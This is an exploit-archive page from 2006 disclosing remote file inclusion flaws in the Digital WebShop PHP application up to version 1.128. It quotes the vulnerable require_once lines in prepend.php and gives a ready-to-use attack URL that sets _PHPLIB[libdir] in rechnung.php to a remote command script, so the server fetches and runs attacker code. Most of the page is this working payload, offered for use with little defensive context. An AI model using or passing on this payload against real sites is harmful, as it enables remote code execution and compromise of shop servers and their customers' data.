[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Digital WebShop <= 1.128 Multiple Remote File Include Vulnerabilities
# Published : 2006-09-19
# Author : ajann
# Previous Title : MyReview 1.9.4 (email) Remote SQL Injection / Code Execution Exploit
# Next Title : BCWB <= 0.99 (root_path) Remote File Include Vulnerability
# Title : Digital WebShop = v1.128 Multiple Remote File Include Vulnerabilities
# Author : ajann
# Script Page : http://digitalwebshop.dyndns.org
# Exploit;
*******************************************************************************
[Files]
rechnung.php
prepend.php
[/Files]
[Code,1]
prepend.php Error:
// include Werzeuge
..
....
require_once($_PHPLIB["libdir"] . "phpDB-mysql.lib"); /*
Mysql Class*/
require_once($_PHPLIB["libdir"] . "messages_inc.php"); /*
Layout f?r Echos & Prints. */
....
..
Key [:] _PHPLIB[libdir]=http://target.com/command.php?
Example:
http://target.com/rechnung.php?_PHPLIB[libdir]=http://target.com/command.php?
# ajann,Turkey
# ...
# Im not Hacker!
# www.Syue.com [2006-09-19]